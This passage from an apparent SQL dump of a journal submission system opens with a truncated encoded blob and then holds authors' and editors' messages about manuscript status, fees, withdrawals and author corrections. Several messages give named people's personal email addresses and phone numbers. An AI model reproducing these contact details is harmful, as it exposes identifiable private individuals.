GuCwCwEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBA4FwCp/8ZPUXf6nEuOnqDAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCJxP4PHx8TW2cr1eD+/g6YNN/Ize4ecADSCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggMAdCfAzenEwCTYFCJsIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAwECAYFPgPDw8vNQjdrGJAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCAQApfL5TW28vT0FHv33zz9z+jtP2RqRAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQ2Evg9MEm/ROreuw1aOpBAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBO5V4Hq9vsZWnp+fDx/m6YNN/M+mw88BGkAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAIE7EuB/NsXBJNgUIGwigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgMBgk2BI5B6xC42EUAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEQkD/nqhiK/pJvaPT6X9G72gA6kcAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEENgucPpg08PDw0s9tg+TkggggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIDA9yFwuVxeYytPT0+HD/r0wSb+Z9Ph5wANIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAwB0J8D+b4mASbAoQNhFAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQACBgQDBpgEOuxBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBM4lcPqf0TsXF71BAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBwgdMHm/gZPT9crCOAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACYwF+Ri98CDYFCJsIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAwECAYFPgPDw8vNQjdrGJAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCAQApfL5TW28vT0FHv33zz9z+jtP2RqRAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQ2Evg9MGm+laTliQEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAIGxAN9sCh/+Z1OAsIkAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIDAT4n02BQ7ApQNhEAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBAYCBJsGOOxCAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBA4l8Dp/2fTubjoDQIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAgAucPtjEz+j54WIdAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEBgL8DN64UOwKUDYRAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQGAgSbAodgU4CwiQACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggMBAg2DXDYhQACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggcC6B0//PJkXf6nEuOnqDAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCJxP4PHx8TW2cr1eD+/g6YNN/Ize4ecADSCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggMAdCfAzenEwCTYFCJsIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAwECAYFPg6Kte9YhdbCKAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCISAfjqvYivPz8+xd//N0/+M3v5DpkYEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAIG9BE4fbHp4eHipx16Dph4EEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBA4F4FLpfLa2zl6enp8GGePtjE/2w6/BygAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEELgjAf5nUxxMgk0BwiYCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggMBAg2DTAYRcCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggMC5BE7/M3qPj48v9TgXHb35888/X37//ffXxxEi//zzz2v9am9r8nr+/vvvrdVQDgEEEEAAgdMK+LVuzTVT3yL367nW//rrr9OO80wdc3O5aXs2edk1x2u2fvJtF/BjM1PLt2/fXvT5cvah19xSUl3+utRrUu0clVT3H3/88fLrr7++/PLLL28eX758mXpPcDf1/awp72HcubWu/Pd+/+Ama97HznqM6RcCCCCAAAIIIIDA/wtcr9fX2Mrz8/PhLKcPNvEzeoefA5sa0E3IDz/88OZxxE2Y6qx2dOO7NXk9Z7753To+yiGAAAIIIODXutlrpj5n/fjjj6/XWl1zf/7550Mnte/pSLm57LQ9m7zs7PGarZt8twkouFKfP2dq0mfLyj+zHB1v1ZWvSa9TwaC9gwFLbVb7P/3008soMOrntMr0koJaMwG3Xvlbn5d/jWnt8rffftvd/9bx7FHeTda8j+3RNnUggAACCCCAAAIIHCfAz+iFLcGmADnJpm4S8+ZMN197J79pHd2YL7Xr9RBsWtJiPwIIIIDAZxTwa93MNZNA0+1H2c31uUjbs8nLzhyv2XrJd5uAgin+GXemNgWAvMzSeut465tFCvQula39o6DPTJ+VR+8Ba9qstnuf+f2cVt5M2q+Alfatea1kPbduy7/GsmWpYOBHBstuHX+rvJt85LFp9Y3nEEAAAQQQQAABBLYLEGwKO4HUI3ax+YECdaOYN2h7/7yH37S2bsxnCbwegk2zauRDAAEEEPhMAn6tW7pmEmja58i6+doJdC+7dLz26S21jAT0GVZBlPxsOypT+zxgo8/IOp6jh745lSnbVnkPaCi4lN94uuUbTr33gPy5PrWhPzLLtltj8HNajpn0Gbx8lfejkmyrH3JXX3oPuWusee+jY35PyU0+8tjckyljQQABBBBAAAEEziCgf09UsRX9pN7R6c1dwNevX1/8cXTj1P85BXRzWjdoujHxG2zdjO6ZdLPjbW2t2+sh2LRVkXIIIIAAAmcW8Gudrs+91Jpk1jcz9v6DkV779/S8m+vzirZnk5cdHa/Z+si3XWD0raKZWuuz6tpzoOrOn6fufWspX7u9bxhVvb2lxjsTPPLyKpMBlzXnu+o6Y7BpzX1BBgR7x8ndPss6wabPcqToJwIIIIAAAgggcG6B0webKvKmJekcAn6jpRs03WjVTbZuQvdMe03EeD1rbir3HAt1IYAAAgggcKSAX+t6wYucrNb1e+uE9ZFj+Sx1u/naQIOX7R2vz+Lwmfupb/Jk4KU+12q5lPw4Kv+WoK3/j6il16MHbNTvLcnbU59ngyb+B2cqt/a89b7L7aOSB1bW3BdkkG7t+D9qvDPtuslHHpuZvpIHAQQQQAABBBBAYF6AbzaFlW5q6hG72PwAgbzJ0s2IntMNZz223KDoLzpVrh71syDarnpnbuh0rlQdWlbyemZvKqsuLUcp+752ksH7W+tLbXp/qp9VVss15b0u1hFAAAEEPq+A3v9H10xdG3JSfWliu6fh15y6Zvfyjp7Pa2ivLl1bvc1Rna19Wb7XTqvs6Dk3l722Z5OXnfmMo3rzmr/2M8ds35by+bGo9S2mefyX2t17v/8BVb12FIjxb+0vten/x3TrT6v5RP9S4MfPG/V5bZJ5jVXLte8BabbmM+dnDzbJ2o/VjP9e7z31OvPlGvs6T/I9pJ73cakNEgIIIIAAAggggMB9COgLPPoMqIcCT0enN3co/hN6Wj9DKgwtSR8v4N9i8r+m9BvP2ZtW3Xwpb0581Q2w2vIb6t5EzKge1V03ZVVvBpu8De3zG+Eq0/rGlvrnkxGVV0v9HNHSjZr298qrDrU5mnDQZIHfGHr7VV5j+aiJqI8/W+kBAggg8L4C+T7cu24d1Su/nmXb+hyV19vZ63X1V3Xo+pbjrGvO6Jrl11at6xrWq0uT/ZU0pt61Tv1vXeO8LZXvfXNF19lbr5NuLgdtzyYvm8fL6xh9zlGb+iyhMfZSevTy6Xk/tq2x6BzoHY86D9TeUtK5In9vr9ZnPkMt1T+738eidnVeKvnzS3X5t4T83F0q5/sVsJKb+rB0z+PnjczWJg+OqfxSe1m/8uu1p2OYZXt9c886zr5UOf9MPPOz3O4utzXJ+zNzvnrdft76vZDn0brG5O34eGffe0bvk1Wf+jB6762+yKjK+FLldRy9r+o7CQEEEEAAAQQQQOA+BAg2xXFUxK0esYvNDxDwGxGfpMqby9bkj3dX+/2m0m96fF1t1LbazrSlnryp9L77+KpdLb1ttdnL52W03pt00E1dTvpl2drO/spgTXnve/qxjQACCCCwn0C9b9fyvd9/83pWI2tdM/waXvlGS01m1rhGS13bW58BdC2rcpr0XLoGqn8KoFSZ3rJl7G3554heHTXZOhp/b5+bq35tzyYv2xqH6mkdu944esfUPZb653Vn3jV96X3+mf3cpn7MBBxmrXv55N4K1un5suiVrec9r85ZBQg0fj1fD42lAllVbuvSgyzq+9rk/VXQY8/k57T8Knmb5epLlfMg2Ey//D1kKdhS/ail96f1Obvy5VKvAe+36mmlNe+XqrOV1rze1Kfeay6Pife/1mXpQbR87bf6x3MIIIAAAggggAACn0Pger2+xlaen58P7/S/dwEvLy9n/GZTBZre42teh2t/8gZ0k1w3JVrmzZHfpCxNEORf12lbN+i6udEy96u91g1d5tONlurQQzd6rYBW3lQqr4+r1lW2yqtPlfwGVXk1uVNtKl9ObLVu/rwOtVHlq99+A602coLC98u97Kq8H4tW+RoLSwQQQACB/QTq+lHL1nVrv9b+W5OuAdl2a8KyF5T4b43//0xOnGpceq6uXbqu+nVJ17UMOClP9a2WKqO+6BqmR11za38tvT2169dQ5cnPI622VLf32SfsVcfWY+Xmqkfbs8nLttqXYV7P/XNO6zNH69i6x1L/yrw1Fj/G+vyluuqhz33Z1/zsIhc/xqpPfas6WuNZ+jw5a93L1+qj8vo51itbz7tZGvg+rWu8tySd617nFh8/jq3z5Zb+6Vh6/6ouvfY0dndV23pODx0Hne9eNl/XVZeWOlcqr8azNnk/Zo9JK1CqcWXSc9U3LdWW+lvneb5WdM7k+6Xq9HNJY/TXvupSvz2P2koz1evHO+tRX/01Wf1W/SQEEEAAAQQQQACB+xAg2BTHUR+a6xG72HxnAd3U1E2Ibm4y+cRNa3/lzxvR3o2unq/2tNTNmqesRzdyrZT15E1l1qMbMb/J8hs3v4FUPt/nbWedPpmhdR+X76s6srxPJmT5Vh8yT8+42mOJAAIIIHC7gL+3t65bt7cwrsGvHbpm6vrgE43Vv9Z1o1dzTlb69cjL5ERsXmv9M4T60bqGqo6cPFVQI1Ne45ba0mSq6s7k13T1aY1L1eXm5btlmZ9xVL9/rmp5VR9yHPl5yO3V31Hyvnte2dS+3mc8z6O8o35oPK1jor7leFqfk0Zj2GOfjkeNd1RfjrnKjJZbP5Pl62NkOOqz9y1fO6NyM/vy9ZBlls5F/yOykZPn0+tkbfLjq3bU79FD73sZlNF2Jp2rOi5lrHO5lXQsvb4cq147VYeWvfcm1ePt5fF0b+Vr1ZN9UXv+2m/1n+cQQAABBBBAAAEEPo8AP6MXx0ofiusRu9h8ZwGfAGpNNuk4+Y1R70bFJ09Up25yWilvoHIixuvJfV6f6vF+5Y2Y+un7W2Or+pYMKp+WfiPsN5Gqv9objV/jUx3qr9+sen9bN7rVB7XTKl/7WSKAAAII7Cuga5E/tkyC3tIjvz7o+uKTkHXd0VLXjt61N9vPa1bu923/HKC2Pfmkp/rg17VRvl6gQdfVGpNfY1VXttWrQ3lH9Xi/eutuXv3ZsszPMUufXbI//pkjPxu4h/o7St53z+vjVFu9pLbqs4eXV34/H3vHv+r1ifj3fh2pDzoeZVF9ai0zKKAy6q9eC0o6jhqrf35UntFnzVY7es7PVdUh6y2pxnVLHb12/TxR/ZmWzkX31PnSep/S69nHMHp9Z/u17cfX65pd772H+vtlvg6r7VqOxqFzqPqS729VvpY+ljwn/HU0OufcXe3ma7faYokAAggggAACCCDw+QQINsUxE0g9Yheb7yiQNyGtmz91x2+mezdHflM0uvFRfX6zpXKevJ6lSQufhMkbsaUb42rTbwpzEq3y+FJ9qhtFz++Tcdovs5qU8PK99ZyAksOWG+1e/TyPAAIIIPA5BfJ6VtcgLXXt88n+3jU6R+7X2qVrtsp6Gz5hqfarP35NzPY8n66PveT58vOB71sap1+TR/3q9SPNNbmr/sw8fCI4x5CfIXqfu6pfPg45e3738GNSZX1Zx0hLz5vjVH/XfPbw/o2Oa/XF+7w0aV9l9lxqfGUxqteDC8rf+zyq4+GfkWcMvF2dx9UfLW8JwHk9ct4z5XmSdftx9fPL8/l7SMvTzbeeG3583WNpXX3TGPz15X33emds/T0gx6o2dP/Vc6p2e22qvI9n6fXqeZfarLZZIoAAAggggAACCJxfQP+aqGIr+km9o9ObPzk74/9sOhqA+ucE/CZ3NHHjN4C6IWvdjK25mfGbVt1MeVpTj9/c5s2ftzG6ac182h49MkDnN3k+4VDjkJdsVW4pefDMy+t53ay23JfqZD8CCCCAwOcW8OtUXRu0rElMv0b786NRez0qP7ruaZ9Pnvr11q/DeT339vfI53Woz0vJx6gxrElpvqa8l00T/2MbXdtnUm8c7rHUv14dat/31bo+u6h/S59d/NzTOaJ+jB7+uVNtvXfyCfyZtvW5a+kPh/Jz4VL+ajctRp/Dq8xoWcdOS50beyY/p1vHbeZc9HM/Xxfqq3+Grve2tWPw46t19csfaa7zfOkcVx/cdum1pvz+eX72WOhcU1+U399v83j6sVD/l5KbzPR9qT72I4AAAggggAACCHyfAm/u3s4YbKrIm5akjxHQTY3fPK1Zb90EevmZoEjlzxvOel7LpXp0Q1b582bOb8ayDRf3OqquNUu/cdMEQ94gZl0VOPI+1LrK68Yxy/j2qHzVwxIBBBBA4H4E/Hqm64GuE3kd9slN7V+a8Pbrytp1v976NXT2Wrs1n7fl197ekVY7NbaZCWWvJ81n2qvyXjbH6n1yxyrbWvrnAu/HGo9y0NLrUHuy8TY8r9a1T5P0WU5lvQ9Zbmbb/2CnNfa9n3P/Pev2sbacsq0MetwaaFL9fgzzvMv2125rTD7GLO/nQW/8ek/yOvzYe/0ax9Ln/2y/tv349l5fatc/q6u9Ne+XvfFVH7R0D703Z9L49B6ufR5kcx9f97Ho9Vr7Zo6zm8z0PfvKNgIIIIAAAggggMA5BfhmUxwXfaivR+xi850EdJNTNytrl7pJy+R15L7WduXPG6V6Xsul5DenfiOmcr4v2/B6/YbQ255dzxs33UDqrzf9pr9Vly',75,9222,1,'2021-07-09 13:37:29',1),(864,'Regarding manuscript publication process','<p>Good morning</p>\r\n<p>it is to bring to your attention that my manuscript entitled as A novel&nbsp;</p>\r\n<p>technique to seal leaking phacoemulsification wound has been acceptedand then payment for APC was done but we have got no further response.kindly address this issue</p>\r\n<p>Regards</p>\r\n<p>prof. Dr. DD Verma</p>\r\n<p>&nbsp;</p>',442,6057,1,'2021-07-12 02:27:52',1),(865,'In vitro characterization of a\nsmall-molecule PD-1 inhibitor that\ntargets the PD-l/PD-L1 interaction','<p>Sorry, but I can only see the abstract of this paper by the link.</p>',413,18726,3,'2021-07-12 05:41:24',1),(866,'Revision','<p>Good afternoon!</p>\r\n<p>I am very grateful for the comments on the article, unfortunately I do not have images of the cases so it will not be possible to add them.</p>\r\n<p>It remains pending if there is any additional adjustment to be made or how we will proceed in the absence of images</p>\r\n<p>Mar&iacute;a Cristina</p>',85,9118,1,'2021-07-12 17:56:31',1),(870,'To request current status','<p>Dear Sir/Madam greetings for the day. This paper already accepted but not publishe soon. What is the reason. I was request you previously in different paper. I will to serve the journal as\nreviwer.&nbsp;</p>\r\n<p>With regards,</p>\r\n<p>Cheru Kore(MPH, Author, PhD fellow)</p>',48,9247,1,'2021-07-15 19:53:23',1),(871,'Article Withdrawal ','<p>Respected Sir/Madam</p>\r\n<p>The article entitled&nbsp;<span>\"</span><strong>Culture Based Diversity Assessments of Triclosan Resistance Bacteria from Sewage Water and their Co-Resistance Profiling to other Antibiotics\"\n</strong>ID#&nbsp;<span>EJEBAU-21-9339 submitted to your journal dated on 11/07/2021, may kindly be withdraw from further processing due to opnion difference among the authors. Therefore, it is\nrequested to cancel our paper from further processing and publication.</span></p>\r\n<p><span>Sorry for any inconvience in this regard.</span></p>\r\n<p><span>Best Wishes</span></p>\r\n<p><span>Dr. Shabir</span></p>',559,10134,1,'2021-07-16 06:21:36',1),(872,'Response of your message in whatsapp\nnumber(9830036297)','<p>Respected sir,&nbsp;</p>\r\n<p>I have received (9830036297) your whatsapp reminder message to communicate with you for further process but i havenot received any mail in my official email.id <a\nhref=\"mailto:profpaltk@gmail.com\">profpaltk@gmail.com</a>&nbsp;of&nbsp; current status of my research article. Please communicate through this email.id.&nbsp;<a\nhref=\"mailto:profpaltk@gmail.com\">profpaltk@gmail.com</a></p>\r\n<p>Thanks and Regards</p>\r\n<p>Prof. T.K.Pal</p>',900,10151,1,'2021-07-16 09:56:22',1),(873,'there is a problem','<p>hi</p>\r\n<p>dear</p>\r\n<p>good times</p>\r\n<p>there is a problem</p>\r\n<p>I invited 12 reviewers</p>\r\n<p>but, the review status in my editor shows only 5 invited\nreviewers</p>\r\n<p>what is happened</p>\r\n<p>there is a problem</p>\r\n<p>solve it, please</p>\r\n<p>to proceed further</p>',570,1695,2,'2021-07-16 18:56:04',1),(875,'ipbm-21-8790','<p>Dear sir/madame,</p>\r\n<p>&nbsp;</p>\r\n<p>I submitted my manuscript some weeks ago and received an phonecall las week about that the manuscript was exepted. The person on the phone asked me about the fee needed to be paid and i asked if\nshe could send me the information to my email (jaapvanderheijden@gmail.com and&nbsp;<a href=\"mailto:jaap.vanderheijden@surgsci.uu.se\">jaap.vanderheijden@surgsci.uu.se</a>). I however did not receive\nany email or further information.</p>\r\n<p>I hope you can help me further.</p>\r\n<p>Best regards&nbsp;</p>\r\n<p>Jaap van der Heijden&nbsp;</p>\r\n<p><span>telephone: +46700439289</span></p>\r\n<p>&nbsp;</p>',142,9841,1,'2021-07-17 18:49:27',1),(878,'Article withdrawal','<p>Hi,&nbsp;</p>\r\n<p>I submitted the article without realized the article processing charges.&nbsp;</p>\r\n<p>I am requesting to withdraw the submission. I appologize if it might have caused any inconvinence to you.&nbsp;</p>\r\n<p>Thank you,&nbsp;</p>\r\n<p>Muhammad Ubaid Hafeez, MD</p>\r\n<p>Neurocritical Care Fellow,&nbsp;</p>\r\n<p>Baylor College of Medicine.</p>',75,10185,1,'2021-07-19 20:24:29',1),(879,'please still help change the\n*corresponding author?Lee M.H.','<p>Dear Editor:</p>\r\n<p>&nbsp; &nbsp; &nbsp;I have seen this paper published. But the corresponding author is Dr. Lee, Ming Hsueh. Please correct it. Thanks.</p>\r\n<p>Sincerely, Dr. Wei-Yuan Cheng</p>',75,9222,1,'2021-07-20 06:47:45',1),(882,'Regarding Cost ','<p>To Whom It May Concern,&nbsp;</p>\r\n<p>I hope you are doing well. I am emailing to determine what is the cost of the article type and I submitted if it were to get accepted for manuscript?&nbsp;</p>\r\n<p>I was not aware initially of the cost and would like to know the amount that would be required if this article was accepted before further proceedings</p>\r\n<p>Regards,&nbsp;</p>\r\n<p>Saad Bin Jamil, MD</p>\r\n<p>cell: 2176979021</p>',50,10394,1,'2021-07-22 01:46:39',1),(893,'please still help change the\n*corresponding author?Lee M.H.','<p>Dear Editor:</p>\r\n<p>&nbsp; &nbsp; &nbsp; The PDF is with change of corresponding author to Dr. Lee now. But the \"full text\" has not been changed yet. Please make it correct. Many thanks.</p>\r\n<p>Sincerely, Dr. Wei-Yuan Cheng</p>',75,9222,1,'2021-07-23 08:38:28',1),(896,'Review complete  for manuscript\nipapm-21-9075','<p>Good day,</p>\r\n<p>I have completed my review of this manuscript.</p>\r\n<p>Please confirm that you have received my comments submission.</p>\r\n<p>Regards,</p>\r\n<p>DR Marnin Romm</p>',539,18936,3,'2021-07-23 16:37:57',1),(900,'Update on my Paper','<p><span style=\"font-size: small;\">Dear Editor, I am sending this mail to request for an update on my paper submitted since 12th July. its about 2 weeks now with no response. I need to hear from you\nsoonest please. This paper needs to be published very quickly. this is because the sponsor of the study want to see the result from this study published as quick s possible.</span></p>\r\n<p><span style=\"font-size: small;\">&nbsp;</span></p>\r\n<p><span style=\"font-size: small;\">Dr. Weli<br /></span></p>',101,10289,1,'2021-07-27 20:03:59',1),(901,'Copper Deficiency Review','<p>To whom it may concern,&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Regarding our Rewie Article on Copper Deficiency, i am asking you on behalf of the Authors when the manuscript will be available for proofreading and publishing.&nbsp;</p>\r\n<p>Thank you very much for your response.&nbsp;</p>\r\n<p>Dr. Patrick Hofmann</p>',181,9904,1,'2021-07-28 19:31:35',1),(903,'corresponding author','<p>dear editor, I want to know the status of the manuscript from you and what else I do</p>\r\n<p>thank you very much for your assistance.</p>',48,9821,1,'2021-07-31 12:05:28',1),(904,'thank you email for my free effort editor record for your journal papers','<p>hi</p>\r\n<p>dear</p>\r\n<p>good times</p>\r\n<p>i accept the editor invitation for the paper entitled \" the first\npass isolation effect in high power short durationatrial ablation\n....</p>\r\n<p>then I invited new reviewers for this paper&nbsp;</p>\r\n<p>you agreed and published this paper&nbsp;</p>\r\n<p>please send me the (thank you email) for editor record for publons\non my email hazim4436@gmail.com&nbsp;</p>',979,1344,2,'2021-07-31 18:18:09',1),(905,'thank you email for my free effort editor record your journal papers','<p>hi</p>\r\n<p>dear</p>\r\n<p>good times</p>\r\n<p>you invite me to the paper entitled\" ominious triad of LV thrombus,\nacute limb ischemia and triple....\"<br />i accept the paper&nbsp;</p>\r\n<p>i invited new reviewers to this paper&nbsp;</p>\r\n<p>you accepted the paper and published it</p>\r\n<p>please send me the (thank you email) for editor record in\npublons</p>\r\n<p>my email hazim4436@gmail.com&nbsp;</p>',979,1344,2,'2021-07-31 18:27:33',1),(906,'thank you email for my free effort editor record for your journal papers','<p>hi</p>\r\n<p>dear</p>\r\n<p>good times</p>\r\n<p>you invited me as an editor assignment for the paper entitled\"\naddressing the tissue of chronic deprivation of a cardiac\nventricle\"&nbsp;</p>\r\n<p>i accept the paper and invited new reviewers&nbsp;</p>\r\n<p>you accept the paper and published it&nbsp;</p>\r\n<p>please send me (the thank email) for editor record on publons</p>\r\n<p>my email</p>\r\n<p>hazim4436@gmail.com</p>',979,1344,2,'2021-07-31 18:39:26',1),(907,'thank you email for my free effort editor record for your journal papers','<p>hi</p>\r\n<p>dear</p>\r\n<p>good times</p>\r\n<p>you invited me as editor assignment for the paper entiltled\"\ncoronary computed angiography (CCTA) of the heart in emergency\nconditions\"&nbsp;</p>\r\n<p>i accept the paper and invited new reviewers for this\npaper&nbsp;</p>\r\n<p>you accepted it and published it</p>\r\n<p>please send me the (thank you email) for editor record on\npublons</p>\r\n<p>my email&nbsp;</p>\r\n<p>hazim4436@gmail.com</p>\r\n<p>&nbsp;</p>',979,1344,2,'2021-07-31 18:46:38',1),(908,'thank you email for my free effort editor record for your journal papers','<p>hi</p>\r\n<p>dear</p>\r\n<p>good times</p>\r\n<p>you invited me as an editor assignment for the paper entitled\" the\nheart rate in the pregnant\"</p>\r\n<p>i accept the paper and invited new reviewers for this paper</p>\r\n<p>you accept the paper and published it</p>\r\n<p>please send me the (thank you email) for editor record for\npublons</p>\r\n<p>my email</p>\r\n<h2>hazim4436@gmail.com</h2>\r\n<p>&nbsp;</p>',979,1344,2,'2021-07-31 18:51:35',1),(909,'thank you email for my free effort editor record for your journal papers','<p>hi</p>\r\n<p>dear</p>\r\n<p>good times&nbsp;</p>\r\n<p>you invited me as an editor assignment \" correlation between\npsychological distress and internet addiction....\"</p>\r\n<p>i accept the paper and invited new reviewers</p>\r\n<p>you accept the paper and published it</p>\r\n<p>please send me the (thank you email) for editor record on\npublons</p>\r\n<p>my email</p>\r\n<p>hazim4436@gmail.com</p>',570,1695,2,'2021-07-31 19:00:30',1),(910,'Please help correcting the corresponding\nauthor: Dr. Ming-Hsueh Lee \"on the\nwebpage of jneuro.com\"','<p>Dear editors:</p>\r\n<p>&nbsp; &nbsp; &nbsp;I am here to write this email because the corresponding author on your webpage is not the same as the one on the PDF file. The PDF file is with correct corresponding author Dr.\nMing-Hsueh Lee now. But on the webpage of jneuro.com, it is still Dr. Cheng, W.Y. Please help me correct it. Many thanks!</p>\r\n<p>Sincerely, Dr. Wei-Yuan Cheng</p>',75,9222,1,'2021-08-03 02:03:43',1),(911,'Regarding payment link for publication\nof article ','<p>Dear sir,</p>\r\n<p>&nbsp;</p>\r\n<p>I had recieved an email regarding sharing of payment link .I am yet to recieve that . Kindly share the payment link so that the article can be published.&nbsp;</p>',523,9837,1,'2021-08-03 12:19:27',1),(918,'Not accessing full length manuscript.','<p>Dear Sir/Madam,</p>\r\n<p>&nbsp;</p>\r\n<p>Greetings from Editor!</p>\r\n<p>&nbsp;</p>\r\n<p>I want to see full length manuscript submitted by authors, but\nunable to see it. Could you please help on the same.&nbsp;</p>\r\n<p>With best regards</p>\r\n<p>Dr. Ranga Rao Ambati</p>\r\n<p>Handling Editor-IPJFNPH.&nbsp;</p>',661,1358,2,'2021-08-07 00:05:40',1),(920,'Copper Deficiency Review','<p>To whom it may concern,&nbsp;</p>\r\n<p>On behalf of our invited Copper Deficiency Review article, I am kindly asking again, when the manuscript will be avaible for proof reading and finally publishing as we have paid the publication\nfees on July 30, over one month ago!&nbsp; We were promised that the manuscript would be ready this week, wich is already over now.&nbsp;</p>\r\n<p>Could you please confirm that the manuscript processing is ongoing and the date we will receive the manuscript for proofreading and the expected time of publishing.&nbsp;</p>\r\n<p>Thank you very much!</p>\r\n<p>Patrick Hofmann, MD</p>',181,9904,1,'2021-08-07 19:18:36',1),(923,'corresponding author','<p>dear edditor, gally proof is not still sent to me.</p>\r\n<p>I want to hear from you</p>\r\n<p>thank you vry much</p>',48,9821,1,'2021-08-11 06:29:25',1),(924,'Regarding the publishing of the article\ntitled\" an overview of Cystic Fibrosis\"','<p>Respected Sir/Madam,</p>\r\n<p>&nbsp;</p>\r\n<p>it is to bring to your kind concern about the article that we have submitted by the title \" An overview of cystic fibrosis\"</p>\r\n<p>&nbsp;</p>\r\n<p>we have submitted on 23 rd June 2021, but we did not recieve any manuscript information.</p>\r\n<p>&nbsp;</p>\r\n<p>I request you to kindly inform me as soon as possible</p>\r\n<p>&nbsp;</p>\r\n<p>Thanking you</p>\r\n<p>&nbsp;</p>\r\n<p>Dr.S.Sridevi</p>',279,10053,1,'2021-08-12 07:17:21',1),(926,'corresponding author','<p>we have great concern that we are no longer intersted to publish our manuscript in this journal</p>',48,9821,1,'2021-08-14 14:05:43',1),(927,'corresponding author','<p>we want to withdraw our submision</p>',48,9821,1,'2021-08-14 14:06:43',1),(928,'Seguimiento articulo aceptado','<p>Buen dia, hace unos dias recibi un correo que mi articulo habia sido aprovado, queria consultar cual es el siguientr paso a seguir? De antemano agradezco su respuesta.</p>',274,10495,1,'2021-08-16 01:36:49',1),(929,'Ptsd and Psychosis','<p>lease resend email where I can uload PTSD and Psychosis I uloaded revised paper as there is no menu option for reviewed manuscript-dr. dubro</p>',121,10729,1,'2021-08-17 19:09:48',1),(930,'Copper Deficiency Review','<p>Dear Members of the Editorial Board</p>\r\n<p>As the corresponding author of the Copper Deficiency Review article, which was SUBMITTED IN JUNE, which was REVIEWED AND we already PAID THE PUBLICATION FEES , we were told every single week that\nthe manuscript is ready for proofreading \" by next week\".&nbsp;</p>\r\n<p>Could you please finally tell when the manuscript will be published and please explain the delay in the manuscript production process!</p>\r\n<p>&nbsp;</p>\r\n<p>Awaiting your response, kind regards</p>\r\n<p>Dr. Patrick Hofmann, MD</p>',181,9904,1,'2021-08-19 21:10:35',1),(931,'Figure-5 & 6','<p>Respected sir,</p>\r\n<p>Thank you for your reply in whatsapp and sorry to late reply from me. Figure 5 and 6 have been submitted today.</p>\r\n<p>Thanks and Regards,</p>\r\n<p>Prof. T.K. Pal</p>',900,10151,1,'2021-08-20 07:11:34',1),(933,'Acknowledging review of the manuscript\n(ipdps-21-10026)','<p>Dear Dr Willis,</p>\r\n<p>Could you please acknowledge the recieve of the reviewing report for the manuscript entitled \"Pharmacological Activities of Some\n5-Substituted-3-phenyl-N?????-(substituted-2-oxo-2H-pyrano [2, 3-b] quinoline-3-carbonyl)-1H-indole-2-carboxyhydrazides\"?</p>\r\n<p>&nbsp;</p>\r\n<p>Looking forward to hearing from you</p>\r\n<p><br />Best wishes,</p>\r\n<p>Radhwan</p>',983,19820,3,'2021-08-22 08:55:25',1),(935,'Submission withdraw','<p>Dr. Editorial office,</p>\r\n<p>I want to withdraw my article entitled \"T<strong>HE EFFECT OF THYROID HORMONE WITHDRAWAL, PERFORMED TO EVALUATE THE SUCCESS OF I-131 ABLATION ON QUALITY OF LIFE IN FEMALE PATIENTS WITH LOW-RISK\nDIFFERENTIATED THYROID CANCER\"</strong></p>\r\n<p><strong>I dont want to published it in your journal neither online, nor printed.&nbsp;</strong></p>\r\n<p>Thank you.&nbsp;</p>',255,10646,1,'2021-08-24 10:08:45',1),(936,'Osman Kupik, submission withdraw','<p>Dear Editorial office</p>\r\n<p>&nbsp;</p>\r\n<p>I want to withdraw my article because I realized at the last moment that the name of your journal is similar to endocrinology and metabolism. It is a big scam!.</p>\r\n<p>&nbsp;</p>\r\n<p>I do not want to have my article published in your journal.</p>\r\n<p>&nbsp;</p>\r\n<p>Kind regards.</p>\r\n<p>&nbsp;</p>\r\n<p>Dr. Osman Kupik</p>',255,10646,1,'2021-08-24 13:08:14',1),(937,'review','<p>Dear editor!&nbsp; Is it possible to find out at what stage our manuscript ipjco-21-9018 is currently at? How long can the review take?</p>',132,10032,1,'2021-08-27 12:49:09',1),(939,'VERY IMPORTANT!','<p>Dear Nanaging Editor,</p>\r\n<p>THank you very much for your invitation for doing an assignment of\nreviewers</p>\r\n<p>for both of the articles entitles \"Heart Disease\" and\n\"Cancer\".</p>\r\n<p>I have tried several times to choose and submit a proposal for\nreviewers,</p>\r\n<p>but, unfortunately, the system did not allow me to do it.</p>\r\n<p>I would highly appreciate your efforts to receive your feedback of\ncollaboration regarding the situation itself.</p>\r\n<p>&nbsp;</p>\r\n<p>With best 